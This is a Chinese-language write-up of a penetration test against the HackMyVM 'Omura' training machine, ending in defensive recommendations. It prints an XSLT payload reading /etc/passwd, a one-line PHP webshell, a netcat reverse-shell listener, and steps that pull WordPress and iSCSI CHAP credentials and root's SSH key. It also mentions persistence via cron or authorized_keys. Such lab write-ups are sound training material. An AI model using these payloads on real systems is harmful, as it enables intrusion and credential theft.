Omura靶机渗透测试:从XSLT注入到iSCSI提权
1. 项目概述这次渗透测试的目标是HackMyVM平台上的Omura靶机。作为一款专注于网络安全训练的虚拟机Omura模拟了真实环境中常见的漏洞组合。整个测试过程从基础信息收集开始逐步深入最终通过iSCSI服务配置不当获取root权限。本文将详细记录每个环节的技术细节和思考过程。2. 信息收集与初步扫描2.1 网络发现首先使用arp-scan定位目标IP。这个工具通过发送ARP请求来发现本地网络中的活动主机比常规ping扫描更可靠因为它能绕过某些防火墙配置。arp-scan -I eth0 -l输出显示目标IP为192.168.50.195MAC地址08:00:27:C4:26:AA对应Oracle VirtualBox虚拟网卡这提示我们目标可能运行在VirtualBox环境中。2.2 端口扫描使用Nmap进行全面扫描参数说明-sC使用默认脚本扫描-sV服务版本检测-n禁止DNS解析-vv详细输出-min-rate2000加快扫描速度-p-扫描所有端口nmap -sC -sV 192.168.50.195 -n -vv -min-rate2000 -p-扫描结果发现三个开放端口22/tcpOpenSSH 8.4p180/tcpApache httpd 2.4.543260/tcpiSCSI服务Synology DSM特别值得注意的是3260端口的iSCSI服务暴露了域名信息iqn.2023-02.omura.hmv:target01。这个发现为后续的子域名爆破提供了关键线索。3. Web应用渗透3.1 初始访问访问80端口发现一个XSLT转换页面。XSLT可扩展样式表语言转换用于将XML文档转换为其他格式但配置不当可能导致安全风险。使用Gobuster进行目录扫描gobuster dir -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -x php,txt发现两个关键文件/index.php/process.php3.2 XSLT注入漏洞利用XSLT处理外部实体时存在注入风险。我们创建两个文件aa.xml:?xml version1.0 encodingUTF-8? catalog cd titleCD Title/title artistThe artist/artist companyDa Company/company price10000/price year1760/year /cd /catalogas.xsl:xsl:stylesheet xmlns:xslhttp://www.w3.org/1999/XSL/Transform xmlns:abchttp://php.net/xsl version1.0 xsl:template match/ xsl:value-of selectunparsed-text(/etc/passwd, utf-8)/ /xsl:template /xsl:stylesheet通过上传这两个文件成功读取到系统文件确认存在XSLT注入漏洞。从/etc/passwd中发现用户ford但SSH爆破未果。3.3 子域名发现利用之前获得的域名omura.hmv使用wfuzz进行子域名爆破wfuzz -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -H Host: FUZZ.omura.hmv --hh 795,301发现子域名wordpress.omura.hmv对应一个WordPress站点。4. WordPress渗透4.1 目录扫描使用dirsearch扫描WordPress站点dirsearch dir -u http://wordpress.omura.hmv/发现标准WordPress目录结构包括/wp-admin/wp-content/wp-includes4.2 配置文件泄露利用LFI漏洞尝试访问wp-config.php文件。经过测试发现路径为/var/www/wordpress/wp-config.php成功获取数据库凭据define( DB_NAME, wordpressdb ); define( DB_USER, admin ); define( DB_PASSWORD, dw42k25MiXT );4.3 后台入侵使用获得的admin/dw42k25MiXT登录WordPress后台通过插件上传功能获取webshell。创建一个包含以下内容的PHP文件?php system($_GET[cmd]); ?通过访问该文件执行系统命令成功获得www-data权限的反向shellnc -lvnp 90015. 权限提升5.1 初始枚举获取shell后首先进行基本枚举id sudo -l ss -lupta发现无法直接sudo需要寻找其他提权途径。5.2 iSCSI服务利用检查之前发现的3260端口iSCSI服务查找其配置文件cat /etc/rtslib-fb-target/saveconfig.json配置文件中发现CHAP认证凭据用户名root密码gTQynqDRAyqvny7AbpeZ1Vi6e目标名称iqn.2023-02.omura.hmv:target015.3 本地iSCSI连接在攻击机上配置iSCSI连接编辑/etc/iscsi/iscsid.conf启用CHAP认证添加CHAP用户名和密码发现目标iscsiadm -m discovery -t st -p omura.hmv登录目标iscsiadm -m node --targetnameiqn.2023-02.omura.hmv:target01 -p omura.hmv --login挂载发现的磁盘lsblk # 确认新磁盘如sdb mkdir /mnt/iscsi mount /dev/sdb /mnt/iscsi在挂载的磁盘中发现root用户的SSH私钥。5.4 获取root权限使用获得的私钥直接SSH登录root账户chmod 600 id_rsa ssh -i id_rsa root192.168.50.195成功获取root权限可以读取系统上的所有文件包括flag。6. 经验总结与防御建议6.1 攻击路径回顾本次渗透测试的关键路径XSLT注入→读取系统文件子域名爆破→发现WordPress配置文件泄露→获取数据库凭据后台插件上传→获取webshelliSCSI配置不当→获取root私钥6.2 防御措施针对每个攻击面建议的防御措施XSLT处理禁用危险函数php.ini中设置xsl.security_prefs为适当值输入验证严格校验上传的XML/XSL文件内容使用白名单限制允许的XSLT操作WordPress安全限制配置文件访问设置正确的文件权限强化后台安全启用双因素认证插件管理禁用不必要的上传功能iSCSI服务网络隔离iSCSI服务不应暴露在外部网络认证强化使用强密码并定期更换日志监控记录所有iSCSI连接尝试系统层面私钥保护SSH私钥应加密存储最小权限原则服务账户使用最低必要权限定期审计检查系统配置和敏感文件权限6.3 渗透测试技巧信息收集要彻底不要忽视任何服务横幅信息如iSCSI服务暴露的域名思维要发散当常规路径受阻时如无法SSH爆破考虑间接路径如通过iSCSI获取凭证自动化工具配合手动验证工具扫描结果需要人工验证避免误报漏报权限维持获取root后应检查其他持久化方法如cron job、SSH authorized_keys等这次Omura靶机的渗透过程展示了真实环境中可能遇到的多种漏洞组合强调了纵深防御的重要性。每个服务都可能成为攻击入口安全防护需要全面覆盖所有暴露面。

相关新闻

Qt+ROS嵌入式RViz开发实战:Linux环境下的可调试集成方案

Qt+ROS嵌入式RViz开发实战:Linux环境下的可调试集成方案

简介:本资源是一个面向ROS初学者与Qt跨平台开发者的Linux环境实战示例,聚焦于Qt应用程序与RVIZ可视化工具的深度集成,解决机器人开发中UI交互与3D数据协同显示的核心问题。压缩包共14个文件,含4个CPP源码、3个头文件(h…

2026/9/25 1:54:45 阅读更多 →
ISO TR 4804-2020全面指南:从技术报告解读到工程落地实践

ISO TR 4804-2020全面指南:从技术报告解读到工程落地实践

简介:ISO/TR 4804-2020 是国际标准化组织发布的技术报告,聚焦道路车辆自动驾驶系统的安全与网络安全设计、验证及确认,面向汽车制造商、零部件供应商及功能安全、信息安全工程师。报告覆盖系统架构设计、故障检测与处理、冗余设计等安全工程方…

2026/9/25 1:54:45 阅读更多 →
突破100万token:长上下文大模型技术完全解析与TaoToken配置实战

突破100万token:长上下文大模型技术完全解析与TaoToken配置实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/25 1:54:45 阅读更多 →

最新新闻

猫抓 cat-catch 完整指南:浏览器资源嗅探扩展如何把网页视频与 m3u8 直播流变成可下载文件

猫抓 cat-catch 完整指南:浏览器资源嗅探扩展如何把网页视频与 m3u8 直播流变成可下载文件

猫抓 cat-catch 完整指南:浏览器资源嗅探扩展如何把网页视频与 m3u8 直播流变成可下载文件 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch …

2026/9/25 2:29:08 阅读更多 →
TypeDoc 中 @alpha 修饰符标签详解:标记未稳定 API、级联传播与可见性过滤

TypeDoc 中 @alpha 修饰符标签详解:标记未稳定 API、级联传播与可见性过滤

开发工具文档 【免费下载链接】typedoc Documentation generator for TypeScript projects. 项目地址: https://gitcode.com/gh_mirrors/ty/typedoc 点击查看 免费下载 本文围绕 TypeDoc 的 alpha 标签展开,讲解它在 TypeDoc 标签体系中的定位&#xff…

2026/9/25 2:29:08 阅读更多 →
Docker Labs完整学习路径:这份Docker教程合集的14个实验模块全解析

Docker Labs完整学习路径:这份Docker教程合集的14个实验模块全解析

Docker Labs完整学习路径:这份Docker教程合集的14个实验模块全解析 Docker Labs(docker.labs)是 Docker 官方与社区联合打造的一套 Docker 教程合集,把容器技术拆成了 14 个可动手实验的模块:从第一个容器、Swarm 集群…

2026/9/25 2:29:08 阅读更多 →
指纹芯片选型:终端硬件工程师的系统级风险 checklist

指纹芯片选型:终端硬件工程师的系统级风险 checklist

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/25 2:29:08 阅读更多 →
Plannotator PR Context Warm Cache:基于会话级 Promise 缓存消除 PR 概览面板加载闪烁的工程实践

Plannotator PR Context Warm Cache:基于会话级 Promise 缓存消除 PR 概览面板加载闪烁的工程实践

【免费下载链接】plannotator Annotate and review coding agent plans and code diffs visually, share with your team, send feedback to agents with one click. 项目地址: https://gitcode.com/gh_mirrors/pl/plannotator 点击查看 免费下载 导读 本文围绕 P…

2026/9/25 2:29:08 阅读更多 →
PaddleSeg QualityInspector 中的 U-Net:配置文件解析、源码架构与多数据集性能基准

PaddleSeg QualityInspector 中的 U-Net:配置文件解析、源码架构与多数据集性能基准

人工智能计算机视觉预训练 【免费下载链接】PaddleSeg Easy-to-use image segmentation library with awesome pre-trained model zoo, supporting wide-range of practical tasks in Semantic Segmentation, Interactive Segmentation, Panoptic Segmentation, Image Matting,…

2026/9/25 2:28:08 阅读更多 →

日新闻

AI元人文:从工具使用到思维重构的深度探索

AI元人文:从工具使用到思维重构的深度探索

最近半年我一直在琢磨一件事:AI元人文到底是什么?说白了,就是“用元视角重新审视人与AI的关系”,也在“探索AI如何反向逼着我们发现自己的思考边界”。标题里的“元探索”,在我看就是一层套一层的追问——当你用AI解决…

2026/9/25 0:00:41 阅读更多 →
Python+CNN车牌识别实战:从数据预处理到模型训练与部署

Python+CNN车牌识别实战:从数据预处理到模型训练与部署

简介:基于Python与卷积神经网络的车牌识别项目,面向计算机视觉初学者及智能交通开发者,目标是帮助用户掌握从数据预处理、模型构建到实际部署的完整流程。压缩包共25个文件,包含jpg/png图像样本、py训练脚本、md说明文档、dat数据…

2026/9/25 0:00:41 阅读更多 →
Vim基础操作全攻略:保存退出、模式切换与高频命令实战

Vim基础操作全攻略:保存退出、模式切换与高频命令实战

1. 项目概述1.1 核心需求解析今天聊聊Vim。写这个题目的原因是:几乎每个后端开发者、运维人员、数据工程师某天都会遇到一个场景——深夜加班,服务器登录界面只有黑底白字,编辑器只有vi/vim,你必须在五分钟内完成一次配置修改并保…

2026/9/25 0:00:41 阅读更多 →

周新闻

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

直接铺开项目本身吧。这几个月我一直在折腾一件事:用Flutter给OpenHarmony做一款游戏集合类的App,说白了就是把若干小游戏塞进一个壳里,用统一入口分发。这个方向本身不算新鲜,真正让我花了不少心思的,是首页那堆游戏卡…

2026/9/24 14:34:13 阅读更多 →
Word表格编号全攻略:从列表编号到题注交叉引用

Word表格编号全攻略:从列表编号到题注交叉引用

写Word文档,最让人头疼的往往是那些“看起来不起眼”的小问题。比如表格编号这事:今天在表后面多加了两个空白行,明天给客户交稿前发现整个章节的编号全部错位,光是挨个改序号就能耗掉大半个下午。我前阵子帮人整理一份上百页的技…

2026/9/24 9:10:42 阅读更多 →
从第一个站到第二个站:独立开发者的静态网站选型与落地实践

从第一个站到第二个站:独立开发者的静态网站选型与落地实践

1. 项目概述1.1 核心需求解析做独立开发者这几年,说实话,第一个网站上线的那天晚上我兴奋得没睡着。但等它跑了半年,流量惨淡、功能臃肿、代码自己都懒得看第二遍之后,我才慢慢琢磨明白一个道理:第一个网站是练手&…

2026/9/24 14:33:56 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/24 12:50:34 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/24 14:33:48 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/24 12:49:17 阅读更多 →